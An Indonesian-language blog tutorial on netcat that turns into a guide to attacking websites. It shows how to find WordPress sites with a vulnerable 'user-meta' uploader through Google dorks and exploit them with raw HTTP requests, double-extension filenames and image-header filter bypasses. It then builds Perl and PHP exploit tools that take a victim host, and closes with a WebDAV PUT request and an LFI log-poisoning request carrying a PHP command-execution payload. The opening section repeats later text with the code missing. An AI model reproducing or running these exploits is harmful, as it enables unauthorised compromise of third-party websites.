netcat alias Swiss-army knife for TCP/IP adalah sebuah utiliti tool yang
digunakan untuk berbagai hal yang berkaitan dengan protokol TCP atau
UDP. Yang dapat membuka koneksi TCP, mengirimkan paket¬paket UDP, listen
pada port ¬port TCP dan UDP, melakukan scanning port, dan sesuai dengan
IPV4 dan IPV6.
Perintah dasar Netchat
TRANSFERT FILE
~client# nc -lp 1234 > file.tar.gz
** l = listen
** p = port
~server# nc -w 1 ip.client.com 1234 < file.tar.gz
** w = timeout
CLONING HARDDISK
~client# ==> nc -l -p 1234 | dd of=/dev/sda
~server# ==> dd if=/dev/sda | nc ip.client.com 1234
**ini belum pernah saya coba
PORT SCANNER
~server# nc -v -w 1 localhost -z 1-1000
~server# nc -v -n -z -w 1 192.168.1.2 1-1000
CHATTING CLIENT - SERVER
~client# ==> nc -lp 1234
~server# ==> nc ip.client.com 1234
SPOOFING HTTP Headers
Method GET
~client# nc server.com 80
GET /index.php?x=exp HTTP/1.1
Host: example.com
Referrer: example.com
User-Agent: my-browser
Method POST
Penulisan harus benar, spasi setelah titik dua ( : ) dan penggunaan huruf besar setia awal nama reguest dan banyak CRLF/Enter.
** Untuk HTTP Headers jika perintah sukses maka respone header akan tampil "HTTP/1.1 200 OK" seperti ini:
download dan Extrak file tersebut copikan ke
%systemroot%\systen32
atau
C:\Windows\System32
menjalankannya menggunakan dos.
Persiapan
Pertama kita mencari bug di exploit-db, ambil secara acak. Kemudian mencari salah satu web vulnerable di list search engine google. dengan menggunakan keyword dork tadi. contoh:
- inurl:/wp-content/plugins/user-meta/framework/helper/uploader.php -source -trunk
- intext:user-meta -source -trunk
cari yg mudah aja.
coba membuka webnya dengan method biasa dengan netchat:
saya menerima respone dari web tersebut:
Ops,, kita udah dapat beberapa informasi mengenai target, ternyata uploadernya tidak membutuhkan authorisasi.
Sekarang kita coba meng-upload file ke target tersebut.
Kita perhatikan HTML reguestnya:
kemudian kita sesuain dengan nc nya
berarti ada kesalahan waktu saya menulis reguest melalui nc.
kita periksa lagi.
setelah kita periksa kita ulangi lagi sampe benar penulisannya.
untuk error code saya telah membuat listnya:
Kita test lagi:
ternyata benar,,, kemudian kita catat reguest tersebut
Nah sekarang kita coba2 bypass filter imagenya, misal dengan menggunakan header GIF/jpeg
atau teknik2 yang lain, klw udah tembus. reguest di catat, nantikan next tutor membuat exploit sendiri.
Membuat Hacking Tool dengan Perl
Sebelumnya kita telah mencoba-coba target/victim dengan netcat, kemudian kita mencatat reguest/raw data exploitnya. langkah itu jg bisa dilakukan dengan addons mozila firefox liveheader/temper, acunetix http editor atw yg lainnya.
misal:
Sekarang kita akan membuatnya kedalam bahasa pemograman perl.
perhatikan baik2 gambar yang udah saya sediakan
dengan sedikit kemampuan perl temen2 udah bisa membuat exploit sendiri.
untuk membuat post-data dan Content-Length tentu lebih sulit, nah disini kita pisah saja postdata nya, kita jadikan sebuah variable
nanti untuk mendapatkan Content-Length kita tinggal menggunakan fungsi length($string).
untuk membuat tool yang user friendly tentu kita musti menambahkan
output berhasil atau nggaknya dan kita juga membutuhkan input nama host.
nah misal kita menerima input berhasilnya seperti ini:
misal kita membuat patokan "success":true
untuk input host kita bisa memanfaatkan variable $ARGV[0]. jadi nanti untuk menjalankannya kita mengetik
perl namascript.pl victim.com
my $host = $ARGV[0];
kira-kira lengkapnya seperti ini:
setelah paham konsep2 dasarnya, temen2 boleh pake class/modules yg disediakan oleh cpan atau yg lebih simple yg lainnya.
seperti module
dan lain-lain, next tutorial dengan bahasa pemograman php. Insya Allah.
Membuat Hacking Tool dengan PHP
Sebelumnya kita telah mencoba-coba target/victim dengan netcat, kemudian kita mencatat reguest/raw data exploitnya. langkah itu jg bisa dilakukan dengan addons mozila firefox liveheader/temper, acunetix http editor atw yg lainnya.
misal:
Klw kita tulis dalam bahasa pemograman php kira2 seperti ini.
agar mudah dipahami perhatikan gambar.
klw di perl kita membuat versi cli, sekarang kita membuat versi web base nya nanti jalankan toolnya dengan mozila firefox/browser, utk php cli sama dgn perl,,
sama2 menggunakan variable $argv[0] huruf kecil.
Pertama kita buat htmlnya untuk memberikan input hostnya
Nah,, sekarang kita terima yg dikirim html dengan method $_POST['host']
$host = $_POST['host'] ;
sekarang kita menentukan berhasil menembus victim atau gak nya tool yg kita buat.
misal respon berhasilnya td:
kira2 kita tulis seperti ini:
#menentukan berhasil atw gaknya
untuk memudahkan membuat post-data, kita bisa saja membuatkan berupa variable tambahan, seperti pada perl sebelumnya.
dan membuat value Content-Length otomatis, seperti strlen($postdata).
kira-kira jadinya seperti ini:
setelah paham konsep dasar ini, temen2 coba-coba juga menggunakan function curl yg lebih simple.
dan coba jg reguest2 lain, seperti lfi, sqlinjection dll.
PUT pada Webdav
OPTIONS pada Webdav
LFI
Perintah dasar Netchat
Code:
-4 Use IPv4
-6 Use IPv6
-D Enable the debug socket option
-d Detach from stdin
-h This help text
-I length TCP receive buffer length
-i secs Delay interval for lines sent, ports scanned
-k Keep inbound sockets open for multiple connect
-l Listen mode, for inbound connects
-n Suppress name/port resolutions
-O length TCP send buffer length
-P proxyuser Username for proxy authentication
-p port Specify local port for remote connects
-r Randomize remote ports
-s addr Local source address
-T toskeyword Set IP Type of Service
-C Send CRLF as line-ending
-t Answer TELNET negotiation
-U Use UNIX domain socket
-u UDP mode
-V rtable Specify alternate routing table
-v Verbose
-w secs Timeout for connects and final net reads
-X proto Proxy protocol: "4", "5" (SOCKS) or "connect"
-x addr[:port] Specify proxy address and port
-z Zero-I/O mode [used for scanning]
Port numbers can be individual or ranges: lo-hi [inclusive]
TRANSFERT FILE
~client# nc -lp 1234 > file.tar.gz
** l = listen
** p = port
~server# nc -w 1 ip.client.com 1234 < file.tar.gz
** w = timeout
CLONING HARDDISK
~client# ==> nc -l -p 1234 | dd of=/dev/sda
~server# ==> dd if=/dev/sda | nc ip.client.com 1234
**ini belum pernah saya coba
PORT SCANNER
~server# nc -v -w 1 localhost -z 1-1000
~server# nc -v -n -z -w 1 192.168.1.2 1-1000
CHATTING CLIENT - SERVER
~client# ==> nc -lp 1234
~server# ==> nc ip.client.com 1234
SPOOFING HTTP Headers
Method GET
~client# nc server.com 80
GET /index.php?x=exp HTTP/1.1
Host: example.com
Referrer: example.com
User-Agent: my-browser
Method POST
Code:
~client# nc localhost 80
POST /index.php HTTP/1.1
Host: localhost
Referrer: localhost
User-Agent: Firefox
Cookie: PHPSESSID=c1d9f9192c1650ab7b3c71c14268aa44
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Connection: close
username=admin&password=admin&submit=Login
Penulisan harus benar, spasi setelah titik dua ( : ) dan penggunaan huruf besar setia awal nama reguest dan banyak CRLF/Enter.
** Untuk HTTP Headers jika perintah sukses maka respone header akan tampil "HTTP/1.1 200 OK" seperti ini:
Code:
HTTP/1.1 200 OK
Date: Fri, 07 Sep 2012 09:58:06 GMT
Server: Apache/2.2.21 (Win32) DAV/2 mod_ssl/2.2
perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.8
Content-Length: 1961
Connection: close
Content-Type: text/html
download dan Extrak file tersebut copikan ke
%systemroot%\systen32
atau
C:\Windows\System32
menjalankannya menggunakan dos.
Persiapan
Code:
Pengganti NC bisa juga dengan Temper Data/Live HTTP Header
Pertama kita mencari bug di exploit-db, ambil secara acak. Kemudian mencari salah satu web vulnerable di list search engine google. dengan menggunakan keyword dork tadi. contoh:
- inurl:/wp-content/plugins/user-meta/framework/helper/uploader.php -source -trunk
- intext:user-meta -source -trunk
cari yg mudah aja.
coba membuka webnya dengan method biasa dengan netchat:
Code:
C:\Users\ANASKI>nc www.victim.com 80
GET /wp-content/plugins/user-meta/framework/helper/uploader.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/14.0.1
Connection: keep-alive
Code:
HTTP/1.1 200 OK
Date: Mon, 01 Oct 2012 07:15:49 GMT
Server: Apache/2.2.20 (Unix) mod_ssl/2.2.20 OpenSSL/0.9.8o
X-Powered-By: PHP/5.2.13-pl1-gentoo
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
23
{"error":"No files were uploaded."}
0
Ops,, kita udah dapat beberapa informasi mengenai target, ternyata uploadernya tidak membutuhkan authorisasi.
Sekarang kita coba meng-upload file ke target tersebut.
Kita perhatikan HTML reguestnya:
Code:
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="qq" />
<input type="submit" />
</form>
Code:
C:\Users\ANASKI>nc www.victim.com 80
POST /wp-content/plugins/user-meta/framework/helper/uploader.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-us;q=0.7,en;q=0.3
Connection: keep-alive
Referer: http://victim.com/user-meta.php
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Content-length: 204
-----------------------------41184676334
Content-Disposition: form-data; name="qqfile"; filename="exp.php.jpeg"
Content-Type: sound/midi
Hacked by Tester
-----------------------------41184676334--
server merespone
HTTP/1.1 400 Bad Request
Date: Mon, 01 Oct 2012 07:46:25 GMT
Server: Apache/2.2.20 (Unix) mod_ssl/2.2.20 OpenSSL/0.9.8o
Content-Length: 475
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Request header field is missing ':' separator.<br />
<pre>
POST /wp-content/plugins/user-meta/framework/helper/uploader.php HTTP/1.1</pre>
</p>
<hr>
<address>Apache/2.2.20 (Unix) mod_ssl/2.2.20 OpenSSL/0.9.8o Server at victim.com Port 80</address>
</body></html>
kita periksa lagi.
setelah kita periksa kita ulangi lagi sampe benar penulisannya.
untuk error code saya telah membuat listnya:
Code:
1xx Informational 100 Continue
101 Switching Protocols
102 Processing (WebDAV; RFC 2518)
2xx Success 200 OK
201 Created
202 Accepted
203 Non-Authoritative Information (since HTTP/1.1)
204 No Content
205 Reset Content
206 Partial Content
207 Multi-Status (WebDAV; RFC 4918)
208 Already Reported (WebDAV; RFC 5842)
226 IM Used (RFC 3229)
3xx Redirection 300 Multiple Choices
301 Moved Permanently
302 Found
303 See Other (since HTTP/1.1)
304 Not Modified
305 Use Proxy (since HTTP/1.1)
306 Switch Proxy
307 Temporary Redirect (since HTTP/1.1)
308 Permanent Redirect (approved as experimental RFC])
4xx Client Error 400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Precondition Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Requested Range Not Satisfiable
417 Expectation Failed
418 I'm a teapot (RFC 2324)
420 Enhance Your Calm (Twitter)
422 Unprocessable Entity (WebDAV; RFC 4918)
423 Locked (WebDAV; RFC 4918)
424 Failed Dependency (WebDAV; RFC 4918)
425 Unordered Collection (Internet draft)
426 Upgrade Required (RFC 2817)
428 Precondition Required (RFC 6585)
429 Too Many Requests (RFC 6585)
431 Request Header Fields Too Large (RFC 6585)
444 No Response (Nginx)
449 Retry With (Microsoft)
450 Blocked by Windows Parental Controls (Microsoft)
451 Unavailable For Legal Reasons (Internet draft)
451 Redirect (Microsoft)
494 Request Header Too Large (Nginx)
495 Cert Error (Nginx)
496 No Cert (Nginx)
497 HTTP to HTTPS (Nginx)
499 Client Closed Request (Nginx)
5xx Server Error 500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Gateway Timeout
505 HTTP Version Not Supported
506 Variant Also Negotiates (RFC 2295)
507 Insufficient Storage (WebDAV; RFC 4918)
508 Loop Detected (WebDAV; RFC 5842)
509 Bandwidth Limit Exceeded (Apache bw/limited extension)
510 Not Extended (RFC 2774)
511 Network Authentication Required (RFC 6585)
598 Network read timeout error (Unknown)
599 Network connect timeout error (Unknown)
Kita test lagi:
Code:
POST /wp-content/plugins/user-meta/framework/helper/uploader.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-us;q=0.7,en;q=0.3
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------23281168279961
Content-Length: 208
-----------------------------23281168279961
Content-Disposition: form-data; name="qq"; filename="hacked.php.jpg"
Content-Type: image/jpeg
hacked by tester
-----------------------------23281168279961—
ternyata benar,,, kemudian kita catat reguest tersebut
Nah sekarang kita coba2 bypass filter imagenya, misal dengan menggunakan header GIF/jpeg
Code:
POST /wp-content/plugins/user-meta/framework/helper/uploader.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-us;q=0.7,en;q=0.3
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------23281168279961
Content-Length: 214
-----------------------------23281168279961
Content-Disposition: form-data; name="qq"; filename="hacked.php.jpg"
Content-Type: image/jpeg
‰PNGhacked by tester
-----------------------------23281168279961--
atau teknik2 yang lain, klw udah tembus. reguest di catat, nantikan next tutor membuat exploit sendiri.
Membuat Hacking Tool dengan Perl
Sebelumnya kita telah mencoba-coba target/victim dengan netcat, kemudian kita mencatat reguest/raw data exploitnya. langkah itu jg bisa dilakukan dengan addons mozila firefox liveheader/temper, acunetix http editor atw yg lainnya.
misal:
Code:
POST /wordpress/wp-content/plugins/user-meta/framework/helper/uploader.php HTTP/1.1
Host: victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-us;q=0.7,en;q=0.3
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------24464570528145
Content-Length: 209
-----------------------------24464570528145
Content-Disposition: form-data; name="qqfile"; filename="x.php3.jpeg"
Content-Type: image/jpeg
Hacked by Tester
-----------------------------24464570528145--
Code:
#!/usr/bin/perl
use IO::Socket::INET;
#membuat koneksi
my $sock = new IO::Socket::INET( PeerAddr => "victim.com", PeerPort => "80", Proto => "tcp", Timeout => 0, );
#jika koneksi terjadi
if ($sock) {
my $enter = "\r\n"; #enter
#memulai reguest header
print $sock 'POST /wordpress/wp-content/plugins/user-meta/framework/helper/uploader.php HTTP/1.1'.$enter;
print $sock 'Host: victim.com'.$enter;
print $sock 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/14.0.1'.$enter;
print $sock 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'.$enter;
print $sock 'Accept-Language: id,en-us;q=0.7,en;q=0.3'.$enter;
print $sock 'Connection: keep-alive'.$enter;
print $sock 'Referer: http://victim.com/wordpress/wp-content/plugins/user-meta/framework/helper/uploader.php'.$enter;
print $sock 'Content-Type: multipart/form-data; boundary=---------------------------24464570528145'.$enter;
print $sock 'Content-Length: 209'.$enter; #hitung panjang postdata
print $sock $enter;
#membuat postdatanya
print $sock '-----------------------------24464570528145'.$enter;
print $sock 'Content-Disposition: form-data; name="qqfile"; filename="x.php3.jpeg"'.$enter;;
print $sock 'Content-Type: image/jpeg'.$enter;
print $sock $enter;
#membuat data
print $sock 'Hacked by Tester'.$enter;
print $sock '-----------------------------24464570528145--'.$enter;
#enter buat mengirim
print $sock $enter;
}
print <$sock>;
close($sock);
dengan sedikit kemampuan perl temen2 udah bisa membuat exploit sendiri.
untuk membuat post-data dan Content-Length tentu lebih sulit, nah disini kita pisah saja postdata nya, kita jadikan sebuah variable
nanti untuk mendapatkan Content-Length kita tinggal menggunakan fungsi length($string).
Code:
#!/usr/bin/perl
use IO::Socket::INET;
#membuat koneksi
my $sock = new IO::Socket::INET( PeerAddr => "victim.com", PeerPort => "80", Proto => "tcp", Timeout => 0, );
#jika koneksi terjadi
if ($sock) {
my $enter = "\r\n"; #enter
#membuat post-data
$postdata .= '-----------------------------24464570528145'.$enter;
$postdata .= 'Content-Disposition: form-data; name="qqfile"; filename="x.php3.jpeg"'.$enter;
$postdata .= 'Content-Type: image/jpeg'.$enter;
$postdata .= $enter;
$postdata .= 'Hacked by Tester'.$enter;
$postdata .= '-----------------------------24464570528145--'.$enter;
$postdata .= $enter;
#memulai reguest header
print $sock 'POST /wordpress/wp-content/plugins/user-meta/framework/helper/uploader.php HTTP/1.1'.$enter;
print $sock 'Host: victim.com'.$enter;
print $sock 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/14.0.1'.$enter;
print $sock 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'.$enter;
print $sock 'Accept-Language: id,en-us;q=0.7,en;q=0.3'.$enter;
print $sock 'Connection: keep-alive'.$enter;
print $sock 'Referer: http://victim.com/wordpress/wp-content/plugins/user-meta/framework/helper/uploader.php'.$enter;
print $sock 'Content-Type: multipart/form-data; boundary=---------------------------24464570528145'.$enter;
print $sock 'Content-Length: '.length($postdata).$enter; #hitung panjang dengan fungsi length
print $sock $enter;
print $sock $postdata;
}
print <$sock>;
close($sock);
nah misal kita menerima input berhasilnya seperti ini:
Code:
{"success":true,"fieldname":null,"filepath":"\/2012\/10\/1349169219.jpeg"}
Code:
if ($respone =~ /"success":true/){
print "Keinjek" ;
}else{
print "Gagal" ;
}
perl namascript.pl victim.com
my $host = $ARGV[0];
kira-kira lengkapnya seperti ini:
Code:
#!/usr/bin/perl
use IO::Socket::INET;
#menerima input host
my $host = $ARGV[0];
#membuat koneksi
my $sock = new IO::Socket::INET( PeerAddr => $host, PeerPort => "80", Proto => "tcp", Timeout => 0, );
#jika koneksi terjadi
if ($sock) {
my $enter = "\r\n"; #enter
#membuat post-data
my $postdata = '';
$postdata .= '-----------------------------24464570528145'.$enter;
$postdata .= 'Content-Disposition: form-data; name="qqfile"; filename="x.php3.jpeg"'.$enter;
$postdata .= 'Content-Type: image/jpeg'.$enter;
$postdata .= $enter;
$postdata .= 'Hacked by Tester'.$enter;
$postdata .= '-----------------------------24464570528145--'.$enter;
$postdata .= $enter;
#memulai reguest header
print $sock 'POST /wordpress/wp-content/plugins/user-meta/framework/helper/uploader.php HTTP/1.1'.$enter;
print $sock 'Host: '.$host.$enter;
print $sock 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/14.0.1'.$enter;
print $sock 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'.$enter;
print $sock 'Accept-Language: id,en-us;q=0.7,en;q=0.3'.$enter;
print $sock 'Connection: keep-alive'.$enter;
print $sock 'Referer: http://'.$host.'/wordpress/wp-content/plugins/user-meta/framework/helper/uploader.php'.$enter;
print $sock 'Content-Type: multipart/form-data; boundary=---------------------------24464570528145'.$enter;
print $sock 'Content-Length: '.length($postdata).$enter; #hitung panjang dengan fungsi length
print $sock $enter;
print $sock $postdata;
}
#dari array dijadiin variable string
while(<$sock>) {
$respone .= <$sock> ;
}
close($sock);
#regex respone yg didapat
if ($respone =~ /"success":true/){
print "Keinjek" ;
}else{
print "Gagal" ;
}
setelah paham konsep2 dasarnya, temen2 boleh pake class/modules yg disediakan oleh cpan atau yg lebih simple yg lainnya.
seperti module
Code:
use HTTP::Request;
use HTTP::Request::Common;
use HTTP::Request::Common qw(POST);
Membuat Hacking Tool dengan PHP
Sebelumnya kita telah mencoba-coba target/victim dengan netcat, kemudian kita mencatat reguest/raw data exploitnya. langkah itu jg bisa dilakukan dengan addons mozila firefox liveheader/temper, acunetix http editor atw yg lainnya.
misal:
Code:
POST /wordpress/wp-content/plugins/user-meta/framework/helper/uploader.php HTTP/1.1
Host: victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-us;q=0.7,en;q=0.3
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------24464570528145
Content-Length: 209
-----------------------------24464570528145
Content-Disposition: form-data; name="qqfile"; filename="x.php3.jpeg"
Content-Type: image/jpeg
Hacked by Tester
-----------------------------24464570528145--
Klw kita tulis dalam bahasa pemograman php kira2 seperti ini.
PHP Code:
<?php
$sock = @fsockopen("victim.com",80,$err_num,$err_msg,30);
if($sock){
$enter = "\r\n" ;
fwrite($sock, 'POST /wordpress/wp-content/plugins/user-meta/framework/helper/uploader.php HTTP/1.1'.$enter);
fwrite($sock, 'Host: victim.com'.$enter);
fwrite($sock, 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'.$enter) ;
fwrite($sock, 'Accept-Language: id,en-us;q=0.7,en;q=0.3'.$enter);
fwrite($sock, 'Connection: keep-alive'.$enter);
fwrite($sock, 'Referer: http://victim.com/wordpress/wp-content/plugins/user-meta/framework/helper/uploader.php'.$enter);
fwrite($sock, 'Content-Type: multipart/form-data; boundary=---------------------------24464570528145'.$enter);
fwrite($sock, 'Content-Length: 209'.$enter); #hitung panjang postdata
fwrite($sock, $enter);
#membuat postdata identifikasinya
fwrite($sock, '-----------------------------24464570528145'.$enter);
fwrite($sock, 'Content-Disposition: form-data; name="qqfile"; filename="x.php3.jpeg"'.$enter);
fwrite($sock, 'Content-Type: image/jpeg'.$enter);
fwrite($sock, $enter);
#membuat data
fwrite($sock, 'Hacked by Tester'.$enter);
fwrite($sock, '-----------------------------24464570528145--'.$enter);
#enter buat mengirim
fwrite($sock, $enter);
}#mengambil respon dari victimwhile(!feof($sock)){
print_r(fgets($sock));
}fclose($sock);?>
klw di perl kita membuat versi cli, sekarang kita membuat versi web base nya nanti jalankan toolnya dengan mozila firefox/browser, utk php cli sama dgn perl,,
sama2 menggunakan variable $argv[0] huruf kecil.
Pertama kita buat htmlnya untuk memberikan input hostnya
PHP Code:
<form action="" method="post" >
<input type="text" name="host" />
<input type="submit" />
</form>
$host = $_POST['host'] ;
sekarang kita menentukan berhasil menembus victim atau gak nya tool yg kita buat.
misal respon berhasilnya td:
Code:
{"success":true,"fieldname":null,"filepath":"\/2012\/10\/1349169219.jpeg"}
#menentukan berhasil atw gaknya
PHP Code:
if(preg_match("/\"success\":true/",$respone)){
echo "berhasil" ;
} else{
echo "gagal" ;
}
dan membuat value Content-Length otomatis, seperti strlen($postdata).
kira-kira jadinya seperti ini:
PHP Code:
<form action="" method="post" >
<input type="text" name="host" />
<input type="submit" />
</form>
<?php
$host = @$_POST['host'] ;$sock = @fsockopen($host,80,$err_num,$err_msg,30);
if($sock){
$enter = "\r\n" ;
$postdata = '-----------------------------24464570528145
Content-Disposition: form-data; name="qqfile"; filename="x.php3.jpeg"
Content-Type: image/jpeg
Hacked by Tester
-----------------------------24464570528145--';
fwrite($sock, 'POST /wordpress/wp-content/plugins/user-meta/framework/helper/uploader.php HTTP/1.1'.$enter);
fwrite($sock, 'Host: '.$host.$enter);
fwrite($sock, 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'.$enter) ;
fwrite($sock, 'Accept-Language: id,en-us;q=0.7,en;q=0.3'.$enter);
fwrite($sock, 'Connection: keep-alive'.$enter);
fwrite($sock, 'Referer: http://'.$host.'/wordpress/wp-content/plugins/user-meta/framework/helper/uploader.php'.$enter);
fwrite($sock, 'Content-Type: multipart/form-data; boundary=---------------------------24464570528145'.$enter);
fwrite($sock, 'Content-Length: '.strlen($postdata).$enter); #hitung panjang postdata
fwrite($sock, $enter);
#membuat postdata identifikasinya
fwrite($sock, $postdata.$enter);
#enter buat mengirim
fwrite($sock, $enter);
}
while(!feof($sock)){
$respone .= @fgets($sock); //kita jadikan ke bentuk string }fclose($sock);#menentukan berhasil atw gaknyaif(preg_match("/\"success\":true/",$respone)){
echo "berhasil" ;
} else{
echo "gagal" ;
}?>
setelah paham konsep dasar ini, temen2 coba-coba juga menggunakan function curl yg lebih simple.
dan coba jg reguest2 lain, seperti lfi, sqlinjection dll.
PUT pada Webdav
Code:
PUT /exp.txt HTTP/1.1
Host: victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-us;q=0.7,en;q=0.3
Connection: keep-alive
Content-Length: xxx
RAW DATA
OPTIONS pada Webdav
Code:
OPTIONS / HTTP/1.1
Host: victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-us;q=0.7,en;q=0.3
Connection: keep-alive
Code:
GET /index.php?page=../../logs/pc.pasbar.com HTTP/1.1
Host: victim.com
XC-RCE: ls -laF
User-Agent: <?php @system(\$_SERVER['HTTP_XC_RCE'])?>
0 komentar:
Posting Komentar